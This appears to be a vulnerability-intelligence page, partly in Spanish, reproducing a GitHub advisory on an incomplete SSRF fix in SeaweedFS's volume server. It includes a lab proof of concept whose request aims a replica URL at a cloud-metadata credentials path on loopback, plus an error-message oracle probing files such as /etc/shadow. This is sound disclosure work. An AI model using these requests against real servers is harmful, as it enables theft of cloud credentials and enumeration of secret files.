llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/seaweedfs/seaweedfs

GHSA-939F-XH28-2Q48

Unauthenticated SSRF (IMDS-reachable) and local-file oracle in VolumeServer.FetchAndWriteNeedle — incomplete fix of CVE-2026-73080

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
7.2
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición71 dDesde la divulgación, 10 sept 2026, 10:11 p. m.
Detección70 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
Programa la remediación y duerme tranquilo.Hmm… no me convence. Vigílala de cerquita.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
11 sept 26
20 nov 26
21 nov 26
11 sept 26
29 sept 26
16 oct 26
3 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-939F-XH28-2Q48 divulgada · CVSS 7.2 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The fix for CVE-2026-73080 (GHSA-87fv-vqqr-m4jr, "Unauthenticated SSRF with response
read-back via VolumeServer") guards one attacker-controlled URL in
`VolumeServer.FetchAndWriteNeedle` and leaves sibling inputs in the same handler
unguarded. On the current release (4.41) and at `master`, an unauthenticated attacker
who can reach the volume server's gRPC port can still:

  1. perform SSRF over plain HTTP to any host/port/path, including `127.0.0.1` and
  2. perform SSRF over HTTPS to an otherwise-blocked address via the `azure` backend
  3. probe arbitrary local files for existence/readability via the `gcs` backend

The guard that was added does work — it rejects the patched leg in the same run — so this
is specifically an incomplete fix, not a re-report of CVE-2026-73080.

Verified end-to-end on the shipped image `chrislusf/seaweedfs:4.41` with a fully anonymous
gRPC client (no credentials, no TLS, no metadata) and a working negative control.

Affected

  • SeaweedFS 4.41 (current latest) and `master` — `weed/server/volume_grpc_remote.go`.
  • Default configuration: stock `weed server`, no `security.toml`, no `-whiteList`. The
  • No credentials of any kind are required.

Root cause — one guarded leg, three unguarded ones

The patch validates the remote storage endpoint, and only when the backend is
S3-compatible:

// weed/server/volume_grpc_remote.go (~242-256)
endpoint, isS3Compatible := "", false
if remoteConf != nil {
    endpoint, isS3Compatible = s3remote.S3CompatibleEndpoint(remoteConf)
}
// (gcs, azure, ...) authenticate against their own SDKs and don't accept
// an attacker-controlled host.        <-- this assumption is wrong for azure
if !vs.AllowUntrustedRemoteEndpoints && isS3Compatible {
    if validateErr := validateRemoteEndpoint(ctx, endpoint); validateErr != nil {
        return nil, fmt.Errorf("reject remote endpoint: %w", validateErr)
    }
    client, getClientErr = s3remote.MakeWithHTTPClient(remoteConf, newGuardedHTTPClient(endpoint))

Immediately below, in the same handler, a second attacker-controlled URL is used with
no validation at all:

// weed/server/volume_grpc_remote.go (~312-338)
if len(req.Replicas) > 0 {
    fileId := needle.NewFileId(v.Id, req.NeedleId, req.Cookie)
    for i, replica := range req.Replicas {
        go func(idx int, targetVolumeServer string) {
            uploadOption := &operation.UploadOption{
                UploadUrl: fmt.Sprintf("http://%s/%s?type=replicate", targetVolumeServer, fileId.String()),
                ...
                Jwt: security.EncodedJwt(req.Auth),   // attacker-controlled Authorization
            }
            uploader.UploadData(ctx, data, uploadOption)   // <-- fetch, no checkBlockedIP
        }(i, replica.Url)                                  // <-- replica.Url unvalidated
    }
}

| # | Gap | Why the guard misses it |
|---|---|---|
| 1 | `replicas[].url` | never passed to `validateRemoteEndpoint`/`checkBlockedIP`; goes straight into `fmt.Sprintf("http://%s/...")`. Attacker controls host, port, path and query (a trailing `?a=` swallows the appended `?type=replicate`), the `Authorization` header (`req.Auth`) and the POSTed bytes. |
| 2 | `azure_endpoint` | the guard runs only `if isS3Compatible`; the code comment assumes non-S3 SDKs reject attacker hosts, but the Azure client honours `azure_endpoint` and dials it over HTTPS. |
| 3 | `gcs_google_application_credentials` | a local path, read before any validation; distinct error strings leak file existence, readability and content shape. |

Proof of concept

Anonymous gRPC client (`grpc.WithTransportCredentials(insecure.NewCredentials())`, no
metadata) against a stock volume server. Stage 1 is placed on `192.0.2.0/24` (TEST-NET-1 —
not loopback, private or link-local) so it passes `checkBlockedIP`; this proves the
bypass is not simply "the guard is disabled".

docker network create --subnet 192.0.2.0/24 lab
docker run -d --name sw --network lab --ip 192.0.2.5 chrislusf/seaweedfs:4.41 \
       server -dir=/data -ip=192.0.2.5 -volume.port=8080
docker exec sw wget -qO- http://192.0.2.5:9333/dir/assign     # unauthenticated; creates volume 1
# stage-1 S3 stub on 192.0.2.10, internal victim on the target's own 127.0.0.1:7000

Request (abridged): `volume_id:1`, `remote_conf{type:"s3", s3_endpoint:"http://192.0.2.10:9000/"}`,
`auth:"ATTACKER-SUPPLIED-TOKEN"`,
`replicas:[{url:"127.0.0.1:7000/latest/meta-data/iam/security-credentials/?a="}]`.

Negative control — the patched leg still works:

s3_endpoint=http://127.0.0.1:7000/
  -> rpc error: reject remote endpoint: remote endpoint "http://127.0.0.1:7000/"
     resolves to loopback address 127.0.0.1

Gap 1 — the unguarded leg succeeds:

SUCCESS resp=e_tag:"db578d60"

and the internal service on the target's own loopback logged the forged request verbatim:

POST /latest/meta-data/iam/security-credentials/?a=/1,133712345678?type=replicate HTTP/1.1
Host: 127.0.0.1:7000
Authorization: Bearer ATTACKER-SUPPLIED-TOKEN
Content-Type: multipart/form-data; boundary=...
...
<attacker-chosen bytes, fetched from stage 1>

Gap 3 — three distinguishable states:

/etc/hostname  -> failed to parse credentials: invalid character 'b' in exponent  (exists, readable)
/nope/nothere  -> failed to read credentials file: no such file or directory      (absent)
/etc/shadow    -> failed to read credentials file: permission denied              (exists, not readable)

Operational precondition, stated plainly: the volume server must already host the
referenced volume id. That is satisfied with the unauthenticated master call
`GET /dir/assign` shown above.

A self-contained Go client that runs the negative control plus all three gaps is available
on request.

Impact

Unauthenticated and network-reachable:

  • **SSRF with attacker-controlled path, query, `Authorization` header and body, over plain
  • SSRF over HTTPS to otherwise-blocked addresses (gap 2).
  • Filesystem oracle to enumerate mounted secrets and confirm credential locations (gap 3).

Suggested fix

  1. Validate every attacker-supplied destination in the handler, not just the S3
  2. Apply the endpoint validation for all backends, not only `isS3Compatible` — in
  3. Do not accept a caller-supplied local path (`gcs_google_application_credentials`) on
  4. Authenticate the volume-server gRPC plane by default, or refuse to start

References

  • Parent: CVE-2026-73080 / GHSA-87fv-vqqr-m4jr
  • Code at `master`: `weed/server/volume_grpc_remote.go` — guard ~242-256, unguarded replica
  • Tested build: `chrislusf/seaweedfs:4.41`

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:L
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
github.com/seaweedfs/seaweedfs≤ 4.41
4.41
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/seaweedfs/seaweedfs
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-939f-xh28-2q48

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.